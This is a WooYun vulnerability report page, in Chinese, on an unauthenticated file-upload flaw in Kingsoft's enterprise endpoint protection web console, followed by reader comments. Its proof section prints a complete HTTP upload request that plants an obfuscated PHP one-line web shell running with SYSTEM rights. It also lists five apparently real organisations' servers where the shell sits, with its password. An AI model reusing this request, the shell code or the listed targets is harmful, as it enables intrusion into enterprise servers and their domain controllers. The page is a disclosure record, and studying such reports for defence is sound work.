当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-085148

漏洞标题：金山企业终端防护优化系统配置不当导致web端直接拿shell 秒杀全部版本

相关厂商：金山毒霸

漏洞作者： 黑名单

提交时间：2014-11-28 23:30

修复时间：2015-01-04 23:32

公开时间：2015-01-04 23:32

漏洞类型：默认配置不当

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-28： 细节已通知厂商并且等待厂商处理中
2014-12-03： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-01-27： 细节向核心白帽子及相关领域专家公开
2015-02-06： 细节向普通白帽子公开
2015-02-16： 细节向实习白帽子公开
2015-01-04： 细节向公众公开

简要描述：

金山企业终端防护优化系统配置不当 导致web端直接拿shell 这个应该是通用 影响的都是大企业 而且全部能进域控制 大家都懂的 作为一个为企业服务的终端防护 按道理不应该出现这种低级错误
这种属于通用吧

详细说明：

金山企业终端防护优化系统配置不当 导致web端直接拿shell 这个应该是通用 影响的都是大企业 而且全部能进域控制 大家都懂的

$NQFC9)FEIET1~)EXL@C$1B.jpg


秒杀全部版本
你没看错 不要任何密码 只要安装了这个程序 直接秒杀
权限全部为 system
这是真的 这不是梦 一步两步......

漏洞证明：

6VJHAB7Q7X~GYHECB6OY{{3.jpg


XP`$4UP3P~~DCVY0_6TV{5C.jpg

只需要修改burp的host地址 地址为安装这个程序的web端地址 直接秒杀

POST /tools/manage/save_tools.php HTTP/1.1
Host: 127.0.0.1 （修改这地址）
Proxy-Connection: keep-alive
Content-Length: 1268
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1/ （修改这地址）
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEJXH1fwCho42vwKj
Referer: http://127.0.0.1/tools/manage/online_tools_manage.php?li=6&a=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=rjru5fik8n930ghdoosk7gqa71; scName=DMZ-wsus(2); GUID=C8DDCDA9-85A4-41BB-9468-A18686AB9F15; SCIP=221.10.92.11; topSC=1; popedom=2222222222; kidtype=6966; hid=B4490BC4; sn=106000-011007-045265-561842; C8DDCDA9-85A4-41BB-9468-A18686AB9F15admin=%7B%22btype%22%3A%221%22%2C%22rtype%22%3A%220%22%2C%22gids%22%3A%5B%221%22%5D%2C%22ttype%22%3A%224%22%2C%22stime%22%3A%220%22%2C%22etime%22%3A%220%22%2C%22stext%22%3A%22%22%7D; SCNum=2
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
ksuploadtools
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolImage"; filename="2.php"
Content-Type: image/jpeg
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolImageType"
1
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolFileName"
1.exe
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolFile"; filename="1.exe"
Content-Type: application/x-msdownload
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolName"
1.exe
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolDescri"
123123
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolOS"
Win8
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolOSStr"
Win8
------WebKitFormBoundaryEJXH1fwCho42vwKj--


地址为 http://127.0.0.1/tools/imgs/2.php 一句话密码 -7
经过测试全部为 system 权限
system 权限你懂的 直接进服务器吧
而且安装这个的 都是大企业 你懂？
找到几个案例
http://neimenggu.swmc.org.cn/tools/imgs/2.php
http://203.175.146.251/tools/imgs/2.php
http://60.190.151.150/tools/imgs/2.php
http://oa.baicsv.com/tools/imgs/2.php
http://av.caep.ac.cn/tools/imgs/2.php
一句话密码都是 -7
提供5个案例 够了吧
麻烦审核完毕 把几个地址隐藏下 感谢

修复方案：

你比我懂

版权声明：转载请注明来源 黑名单@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-01-04 23:32

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-11-28 23:41 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    这个屌

  2. 2014-11-29 00:01 | 黑名单 ( 实习白帽子 | Rank:60 漏洞数:13 | 像个傻瓜似的，为什么。)

    应该是通用吧

  3. 2014-11-29 01:21 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    不去ksrc？

  4. 2014-11-29 01:27 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    无聊 全版本，你本地试过了吗？不止任意上传哦

  5. 2014-11-29 14:53 | 萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)

    @黑名单 应该是通用吧 所有版本都测试了吗 要以最终测试结果为准 不过前辈还是很厉害的样子

  6. 2014-11-29 15:24 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    楼上想知道细节的话？自己下载个试试就知道了,哈哈哈.

  7. 2014-12-03 16:23 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这个……

  8. 2014-12-04 12:45 | 黑名单 ( 实习白帽子 | Rank:60 漏洞数:13 | 像个傻瓜似的，为什么。)

    居然忽略了 咦~~~~~~~~

  9. 2014-12-04 16:33 | 邓先生 ( 路人 | Rank:4 漏洞数:4 | 其实，打你就像划小船)

    真心叼，为什么忽略了

  10. 2014-12-22 09:08 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @疯狗

  11. 2014-12-24 17:51 | 黑名单 ( 实习白帽子 | Rank:60 漏洞数:13 | 像个傻瓜似的，为什么。)

    @wefgod 厂商偷偷修复了 表示无语~~~~ 没一点脾气

  12. 2015-01-05 11:05 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    就是任意文件上传，不过需要管理员权限？但是很多人没改默认密码？

  13. 2015-01-24 18:02 | 黑名单 ( 实习白帽子 | Rank:60 漏洞数:13 | 像个傻瓜似的，为什么。)

    @BMa 不需要登录 上传未验证 直接提交就能拿shell

  14. 2015-01-24 18:06 | 黑名单 ( 实习白帽子 | Rank:60 漏洞数:13 | 像个傻瓜似的，为什么。)

    业界良心啊~~~~~~~三个月你才承认 表示无奈了